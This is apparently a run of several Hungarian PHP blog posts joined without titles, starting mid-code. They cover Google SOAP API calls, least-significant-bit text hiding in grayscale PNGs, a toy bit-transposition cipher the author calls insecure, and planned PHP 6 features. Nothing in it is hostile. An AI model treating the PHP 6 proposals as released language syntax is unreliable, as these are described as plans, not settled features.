	$response = $client->__soapCall('doSpellingSuggestion', $params);

	# mivel wsdl módban vagyunk, ezért akár közvetlenül is meghívhatnánk a függvényt
	//$response = $client->doSpellingSuggestion(...);
}
catch(Exception $e)
{
	die($e->getMessage());
}

A $response string típusú, ami vagy üres vagy a felajánlott szót tartalmazza. Magyar szavakra sajnos nem működik. Közvetlen hívás esetén a $params tömb helyett "normál" paraméterezéssel kell megadnunk az adatokat.
A cache-elt oldal:

try
{
	$params = array(
		'key' => '', 				# licence key
		'url' => 'http://www.deadlime.hu'	# az oldal címe, amiről a google által tároltat szeretnénk megkapni
	);
	$response = $client->__soapCall('doGetCachedPage', $params);
	$response = base64_decode($response);
}
catch(Exception $e)
{
	die($e->getMessage());
}

A cache-elt oldalt base64-ben kódolt szövegként kapjuk meg.
A keresés:

try
{
	$params = array(
		'key' 		=> '',  	# licence key
		'q' 		=> 'deadlime',	# keresési kifejezés
		'start' 	=> 0,		# melyik elemtől kezdve adja vissza a találatokat
		'maxResults' 	=> 10,		# mennyi találatot adjon vissza
		'filter' 	=> true,	# eredmény szűrése
		'restrict' 	=> 'countryHU',	# megkötések
		'safeSearch' 	=> false,	# felnőtt tartalmak szűrése
		'lr' 		=> 'lang_hu',	# nyelvi megszorítások
		'ie'		=> '',		# bemeneti karakterkódolás (alapértelmezett: UTF-8)
		'oe'		=> ''		# kimeneti karakterkódolás (alapértelmezett: UTF-8)
	); 
	$response = $client->__soapCall('doGoogleSearch', $params);
}
catch(Exception $e)
{
	die($e->getMessage());
}

A $response ebben az esetben egy objektum, benne minden fontos adattal. A "filter" illetve a "restrict" sor elsőre valószínűleg nem egyértelmü. A "filter" bekapcsolásával a duplikált találatokat lehet kiszürni. A "restrict" értékéül egy kifejezést adhatunk. Ebben a kifejezésben megadhatjuk, hogy mely oszrágokra, illetve mely témakörökre korlátozzuk a keresést.

Kapcsolódó linkek:

• Google Account
• Google Licence Key
• php.net/SOAP

A kódoláshoz ismét a PHP svájci bicskát megszégyenítő eszköztára lesz a segítségünkre, azon belül is a GD könyvtár. Csapjunk is bele!

Először is ejtsünk pár szót a képekről. Vegyünk egy átlagos 300*300 pixeles képet, melynek minden egyes pontja három vagy esetleg négy darab nyolc bites szám által van meghatározva. Ez a híres nevezetes RGBa, azaz Red-Green-Blue-alpha. Az alpha része most minket nem érdekel, foglalkozzunk csak az RGB-vel. Mint fentebb említettem, ezek nyolc bites számok vagyis 0 és 255 közé esnek (vagy akinek úgy barátságosabb, 00 és FF közé), tehát egy pixel meghatározásához 24 bitre van szükségünk. Így tovább okoskodva, egy 300*300 pixeles kép mérete 300*300*24 bit (közel 263 kilobyte). Ez elég soknak tűnik, de ha minden igaz ez a BMP tömörítetlen módszere. Mivel ez egy ilyen hatalmas dolog, megjelentek különböző tömörítési eljárások, mint a JPG, amivel most nem fogunk foglalkozni, mivel számunkra létfontosságú, hogy a készülő képünk minden pixelének színét pontosan meg tudjuk határozni.

Mi is akkor a megoldás? Mivel a PHP nem tud kezelni BMP-ket, ezért egyetlen választásunk a PNG (vagy esetleg GIF) által nyújtott indexelt képek maradtak. Hogy mik is azok az indexelt képek? Az indexelt képben van egy vektor (egy dimenziós tömb), 0-tól 255-ig indexelve, amiben vannak tárolva a kép által használt színek (tehát 256*24 bit eddig), a képben pedig a szín helyén csak az index száma van megjelenítve. A dolog lényege, hogy jóval kisebb fájlméretet eredményez (a fenti 300*300 pixeles képnél maradva ez úgy 88 kilobyte), viszont megvan az a megkötése, hogy csak 256 vagy kevesebb különböző színt lehet a képben használni. Természetesen a dolog a való életben nem ennyire egyszerű, de nekünk most ennyi is elég. Térjünk át az adatrejtési eljárás működési elvére.

A lényeg abban rejlik, hogy vesszük egyesével a pixeleket, megnézzük a pixel egyik (vagy mindhárom) színének értéket (ugye ami 0 és 255 között van) majd páros illetve páratlan számra változtatjuk, attól függetlenül, hogy az elrejteni kívánt bitünk éppen nulla vagy egy. A bitet pedig egyszerűen úgy szerezzük, hogy vesszük a karakter ascii kódjának bináris formáját (szintén 0 és 255 közötti szám), a kriptós bejegyzéshez hasonló módon feltöltjük az elejét kellő mennyiségű nullával, majd szépen a pixelekbe kódoljuk. Az elgondolás szép, csak van vele pár probléma. Fentebb ugye említettem, hogy csak 256 különböző színt használhatunk, így ha egy eleve 256 színű kép színeit változtatjuk, előfordulhat, hogy túllépjük ezt a keretet és nem sikerül megfelelően az adatrejtés. Még szerencse, hogy pontosan 256 darab szürkeárnyalat van (a feketével és a fehérrel együtt), amiket bárhogy változtatunk páros vagy páratlan számmá, ugyanúgy szürkék maradnak (tehát a meglévő palettán lesznek).

Úgy érzem egyre inkább itt az ideje egy kis kódot is látni a sok száraz anyag után, hogy mindez, amit felvázoltunk valósággá válhasson:

$text = 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit.
Sed posuere risus eget orci. Nullam augue. Nulla porta lacus vitae nulla.
Donec volutpat, libero nec ultrices condimentum, metus est congue velit, in
tincidunt felis sem vel ante. Integer at tellus vitae lorem mollis viverra.
Nulla eros. Class aptent taciti sociosqu ad litora torquent per conubia
nostra, per inceptos hymenaeos. Praesent sollicitudin arcu ac leo. Donec
nulla justo, imperdiet id, eleifend et, viverra non, tellus. Nunc auctor,
ligula ac tempor ornare, ipsum diam consequat justo, vitae tristique leo
massa non velit. Praesent tincidunt pharetra felis. Curabitur nec massa.
Nam vel purus. Nulla suscipit dui ac enim. Fusce bibendum varius lorem.
Pellentesque cursus massa. Phasellus ut risus vel massa dignissim
hendrerit.';
$length = strlen($text);

$old = imagecreatefrompng('image.png');
$width = imagesx($old);
$height = imagesy($old);

$new = imagecreate($width, $height);

for ($c=0;$c<256;++$c) {
	$colors[$c.$c.$c] = imagecolorallocate($new, $c, $c, $c);
}

Kezdetben van egy szép hosszú szövegünk, amit bele akarunk kódolni a képbe (maximum képszélesség*képmagasság/8 karakter hosszú szöveg lehet). Ezután megnyitjuk a képet és létrehozunk az eredeti kép méretével azonos méretű üres képet. Ebben a képben az imagecolorallocate() függvény segítségével lefoglaljuk az összes szürke színt (0,0,0) és (255,255,255) között.

$tp = 0;
$bp = 0;
for ($i=0;$i<$width;++$i) {
	for ($j=0;$j<$height;++$j) {
		$old_color = imagecolorsforindex($old, imagecolorat($old, $i, $j));

		if ($tp < $length) {
			$char = base_convert(ord(substr($text, $tp, 1)), 10, 2);
		}
		else {
			// Ha végeztünk a bekódolandó szöveggel, szóközöket kódolunk
			// bele a képbe.
			$char = '00100000';
		}
		if (($len=strlen($char))<8) {
			$char = str_repeat('0', 8-$len).$char;
		}
		$bit = substr($char, $bp, 1);

		if ($bit === '1') {
			// A szám páros, de nekünk páratlan kell
			if (($old_color['red']%2) === 0) {
				$new_color = $old_color['red']+1;
			}
			else {
				$new_color = $old_color['red'];
			}
		}
		else {
			if (($old_color['red']%2) === 0) {
				$new_color = $old_color['red'];
			}
			// A szám páratlan, de nekünk páros kell
			else {
				$new_color = $old_color['red']-1;
			}
		}

		imagerectangle(
			$new,
			$i, $j,
			$i+1, $j+1,
			$colors[$new_color.$new_color.$new_color]
		);

		if ($bp === 7) {
			$bp = -1;
			++$tp;
		}
		++$bp;
	}
}

Ez magának az elrejtésnek a ciklusa, végigmegyünk a kép összes pixelén, veszünk hozzá egy bitet a szövegből, megnézzük, hogy megfelelő szám szerepel-e a pixelen (ha nullás bitünk van, akkor páros, ha egyes akkor páratlan), ha nem, akkor pedig megfelelővé tesszük, majd berajzoljuk az új képben a megfelelő helyre. Érdemes szót ejteni az imagecolorat() függvényről, ami True Color képek esetén egy int-et adna vissza, ami az RGBa-t tárolja elég csúnya módon. Viszont a dokumentációban sehol sem láttam említést arra, hogy indexelt kép esetén a szín indexével tér vissza, pedig ez így van, ezért van szükség az imagecolorsforindex() függvényre is.

imagepng($new, 'image-data.png');
imagedestroy($old);
imagedestroy($new);

Végül lementjük az új képet, amibe bele van kódolva a szöveg és töröljük a memóriában lévő példányokat, amikre már nincs szükségünk. És íme a két kép, felül az eredeti, alul pedig az, amelyikben már elrejtettük a szöveget:

Természetesen nincs szemmel látható különbség, mivel csak maximum egyel változtattuk meg a pixel értékét. Az eredeti kép (színekkel) megtalálható itt. Nincs más hátra, mint, hogy megmutassam, hogyan is kaphatjuk vissza a szövegünket a képből (különben mi értelme lenne ennek a kis rejtésnek, ha mi sem találunk rá). Íme tehát a kód:

$data = imagecreatefrompng('image-data.png');
$width = imagesx($data);
$height = imagesy($data);

$char = '';
$bp = 0;
for ($i=0;$i<$width;++$i) {
	for ($j=0;$j<$height;++$j) {
		$data_color = imagecolorsforindex($data, imagecolorat($data, $i, $j));
		$char .= ($data_color['red']%2);

		if ($bp === 7) {
			$bp = -1;
			echo chr(base_convert($char, 2, 10));
			$char = '';
		}
		++$bp;
	}
}

Már csak azzal maradtam adós, hogy elmeséljem, miért is szívtam én annyit egy ilyen egyszerűnek mondható kóddal? A dolog teljes mértékben az utóbbi dekódoló script hibája volt. Ugyanis mindig értelmetlen szövegekkel tért vissza, még véletlenül sem olyasmivel, ami egy picit is hasonlítana az eredetihez. Természetesen én az adatrejtő scriptre gyanakodtam, majd a gyanúm átterelődött a PHP GD könyvtárára, hogy az machinál valamit és nem kapom meg az eredeti RGB értékeket (ugyebár ebben az eljárásban létfontosságú az, hogy ugyanazt vissza is kapjuk). Végül aztán kiderül, hogy a dekódoló 10-edik sora volt a hibás, ugyanis az ott szereplő moduló kifejezést valamiért negáltam (a fene tudja, hogy miért), így pont az inverzét kaptam meg a biteknek, ami természetesen értelmetlen karaktersorozat volt.

Ennyi mára, mindenkinek kellemes bitbújócskát a hétvégére.

Nézzük először meg, hogy hogyan is működik az eredeti technika. Fogunk egy szöveget, legyen ez esetünkben az "Ezt a rövid szöveget szeretném elkódolni." string. Először is kiszedjük belőle a szóközöket majd az egészet nagybetűsé alakítjuk és még a végére ékezetmentesítünk is (csak a biztonság kedvéért ugyebár, mert mind a szóköz mind pedig az éketezetes karakterek árulkodóak lehetnek). A kapott string az "EZTAROVIDSZOVEGETSZERETNEMELKODOLNI." lesz. Most jön a lényeg. Felírjuk a szöveget egy négyzetbe:

E Z T A R O
V I D S Z O
V E G E T S
Z E R E T N
E M E L K O
D O L N I .

Most jön a trükk, a szöveget ahelyett, hogy vízszintesen olvasnánk, függőlegesen olvassuk, így megkapjuk az "EVVZEDZIEEMOTDGRELASEELNRZTTKIOOSNO." stringet, ami az elkódolt szövegünk lesz. Az algoritmus - mai szemmel - természetesen egy cseppet sem mondható biztonságosnak. Jó, régebben se volt biztonságosnak mondható, mivel az elkódolás "jelszava" csupán az volt, hogy hányszor hányas négyzetbe írták bele a szöveget. Tehát aki tudta a módszert, csak ezt kellett kitalálnia, ami meg nem túl nehéz dolog, mivel a szöveg hosszából erősen következtetni lehet rá. A dolognak, mint látszik megvannak a maga hátrányai: elsősorban az, hogy a szöveg hosszát úgy kell megválasztani, hogy pont passzoljon egy ilyen négyzetbe (ami nekem rögtön nem is sikerült, ezért maradt benne a pont), aztán ott van még az a tény, hogy az elkódolt szövegben szerepelnek az eredeti szöveg karakterei, ezzel egy kis kiindulási alapot adva a kódfejtőknek, akik az egyes betűk gyakorisága és egyéb nyelvi jellemzők alapján el tudnak indulni (ezért lettek kivéve a szóközök és az ékezetes karakterek). No de nézzünk egy másik megoldást, ami ugyan ezen alapszik, de sikeresen gyárt teljesen olvashatatlan fájlt egy egyszerű mezei txt fájlból:

$fr = fopen('file.txt', 'r');
$fw = fopen('file-encoded.txt', 'a');

while (!feof($fr)) {
	$data = fread($fr, 8);
	if (strlen($data)) {
		if (strlen($data) !== 8) {
			$data = $data.str_repeat('0', (8 - strlen($data)));
		}
		
		$ndata = $data;

		$adata = array();

		for ($i=0;$i<8;++$i) {
			$tmp = base_convert(ord($data[$i]), 10, 2);
			if (strlen($tmp) !== 8) {
				$tmp = str_repeat('0', (8 - strlen($tmp))).$tmp;
			}
			for ($j=0;$j<8;++$j) {
				$adata[$i][$j] = $tmp[$j];
			}
		}

		$ndata = '';
		for ($i=0;$i<8;++$i) {
			$tmp = '';
			for ($j=0;$j<8;++$j) {
				$tmp .= $adata[$j][$i];
			}
			$ndata .= chr(base_convert($tmp, 2, 10));
		}

		fwrite($fw, $ndata);
	}
}
fclose($fr);
fclose($fw);

A dolog lényege a következő: megnyitjuk a fájlt és elkezdjük 8 byte-onként olvasni, ezután az olvasott karakterek ASCII kódját átváltjuk kettes számrendszerbe és kiegészítjük a kezdő nullákkal, hogy épp 8 karakter legyen, majd az egészet egy kétdimenziós tömbbe tesszük bele, valahogy így:

0 1 0 0 1 1 0 0
0 1 1 0 1 1 1 1
0 1 1 1 0 0 1 0
0 1 1 0 0 1 0 1
0 1 1 0 1 1 0 1
0 1 1 0 1 0 0 1
0 1 1 1 0 0 0 0
0 1 1 1 0 0 1 1

Ismerős a szituáció? Most már semmi más dolgunk nincs, mint kiolvasni a biteket függőlegesen, visszaváltani őket tizes számrendszerbe, majd a számnak megfelelő ascii karaktert kiírni a másik fájlba. A dolognak természetesen megvan a maga szépséghibája, méghozzá az, ha a fájl mérete nem nyolccal osztható, ilyenkor az utolsónak beolvasott X karaktert kipótolom 8-X darab nullával. Viszont természetesen megvan a dolog szépsége is. Ugyanezzel a kóddal vissza is tudjuk fejteni az elkódolt fájlt, csak a visszafejtett végén lesz (8-X) darab nulla. Emellett a szemfülesebbek észrevehették, hogy az a-z 01100001 és 01111010 közé esik, valamint az A-Z 01000001 és 01011010 közé. Tehát: csak az angol ABC betűit tartalmazó szöveg esetén a nyolcas négyzetben az első oszlop mindig csupa nulla a második pedig csupa egyes. De ha még a második oszlopot figyelmen kívül is hagyjuk, az valószínűbb, hogy az első oszlop nulla lesz, ami meg egy kódolt szövegben feltűnő lehet, hogy minden nyolcadik karakter bináris nulla.

No ennyi lenne első nekifutásra a dolog, de tervben van már, hogy beszerzek a témával kapcsolatban valami könyvet és akkor tudosítók majd komolyabb algoritmusokról is. Ja, és mégegyszer így a végre, ez a kódolás egyáltalán nem mondható biztonságosnak, mindenki csak saját felelősségére használja (vagy inkább ne használja), a deadlime.project nem tud és nem is akar felelősséget vállalni az esetleg így kiszivárgott titkok miatt. :)

1. Unicode

A PHP fejlesztői által elkövetett legnagyobb hiba talán az volt, hogy figyelmen kívül hagyták azt a változatos nyelvű/nemzetiségű környezetet, amelyben a PHP működik. A Unicode-sztringek kezelése eddig csak az mb_string kiterjesztésen keresztül volt lehetséges, ami viszont nem minden webszerveren vehető igénybe (arról nem is beszélve, hogy használata pluszkóddal/pluszmunkával jár). Szükség volt egy beépített, transzparens Unicode-implementációra. A fejlesztők választása az ICU (International Components for Unicode) nevű kipróbált kódkönyvtárra esett. A végső cél: a kódkönyvtár segítségével elérni, hogy minden sztring-kezelő függvény és operátor Unicode-biztossá váljon. A munka jól halad, egyetlen probléma van: az új Unicode-megoldást használva az alkalmazások kb. 25%-kal lassabbak lettek :-/.

2. Tisztogatás

• register_globals, magic_quotes — Sokan megkérdőjelezték már ezen funkciók létjogosultságát az elmúlt években. Most megtörtént a nagy áttörés: a hatos verziótól kezdődően mindkét – súlyos biztonsági kockázatokkal járó – funkció el fog tűnni. Használatuk a PHP elindításakor E_CORE_ERROR szintű hibát fog okozni, tehát a szkript le sem fut; csak egy üzenet jelenik majd meg, ami figyelmeztet a használni kívánt funkció veszélyeire, illetve a biztonságos programozás fontosságára.
• safe_mode — A nevéhez méltatlanul a safe_mode gyakorlatilag soha nem volt képes biztonságosabbá tenni a PHP használatát, így szerintem senki nem csodálkozik, ha azt mondom: ettől is megszabadultak a fejlesztők. Használatakor szintén E_CORE_ERROR szintű hibát kapunk. (Ennek ellenére hasznosnak ítéltetett az open_basedir funkcionalitása, így ez megmarad.)

3. A Zend motor kiegészítései

• 64-bites egészek — Döntés született arról is, hogy a már meglévő 32-bites integer típus mellé (tehát nem helyette!) szükség van egy 64-bites változatra is. Az új típus neve – meglepő módon – int64. Persze felmerül a kérdés: hogyan közöljük a motorral, hogy nekünk 64-bites integerre van szükségünk az alapértelmezett 32 helyett? A megoldás a változó típusának explicit meghatározása:

  $bigInteger = (int64) 123456;

• goto — Valószínűleg webes fórumok tucatjai lettek tele prokkal és kontrákkal a goto konstrukció PHP-s megvalósítását illetően. A fejlesztők végül egy igen kreatív ötlettel álltak elő ebben a nehéz kérdésben: a break kulcsszó kiterjesztésével hoznak létre a hírhedt goto-éhoz hasonló funkcionalitást. A break viszont továbbra is csak ciklusok és feltételes szerkezetek belsejében lesz használható, így csak ezekből lehet majd kiugrani egy adott címkére. Szemléltetésképpen:

  if (true)
  {
      // Itt fogjuk magunkat, és hopp kiugrunk:
      break blah;
  }
  
      echo 'Ez a szöveg soha nem jelenik meg.';
  
  blah:
      echo "Ide ugrottunk!";
  

• foreach több dimenziós tömbökön — Egy apró, bár érdekes kiegészítés. Mostantól használható az alábbi szintaxis többdimenziós tömbökre alkalmazva:

  $a = array(array(1, 2), array(3, 4));
  
  foreach( $a as $k => list($a, $b))
  {
      // ...Itt játszunk az adatokkal...
  }
  

4. OOP

• Névterek — Sokan zavarónak találták, hogy a PHPben nincsenek névterek. Több lehetséges megoldás közül végül ez lett a nyerő:

  namespace Foobar
  {
      const testconst = 'xyz';
      function testfunc() { ... }
      class testclass
      {
          function abc() { ... }
      }
  }
  
  // Lehetséges használati mód pl.:
  A\\testclass::abc();
  
  // Így lehet majd importálni:
  import A\\*;
  

  Tehát:
  • Lesz egy namespace kulcsszó, amivel névterek hozhatóak létre.
  • A névtereken belül osztályok, függvények és konstansok helyezkedhetnek majd el, változók nem.
  • A névtér-operátor valószínűleg a '\' (backslash, visszaper) karakter lesz.
  • Az import kulcsszóval lehet majd az alapértelmezett (név nélküli) névtérbe helyezni egy névtér tartalmát.
• Függvények visszatérési típusa — Ezentúl lehetőség lesz jelezni a motor számára, hogy egy függvény visszatérési értéke pontosan milyen típusú objektum is lesz. Valószínűleg az alábbi megoldások közül fognak a fejlesztők kiválasztani egyet:

      function ObjectName &funcname();
      function &ObjectName funcname();
      function &funcname ObjectName();
      ObjectName function &funcname();
      function &funcname() returns ObjectName;
  

Aki idáig eljutott annak gratulálok, remélem mindenki számára tudtam némi újdonsággal szolgálni. A fentebb említett funkciókat a fejlesztők folyamatosan építik be a PHP kódjába. Hogy a folyamat hol tart, arról nem tudok nyilatkozni; de ha valaki még ezután a cikk után is információra éhes, annak ajánlom a PHP levelezési listákat.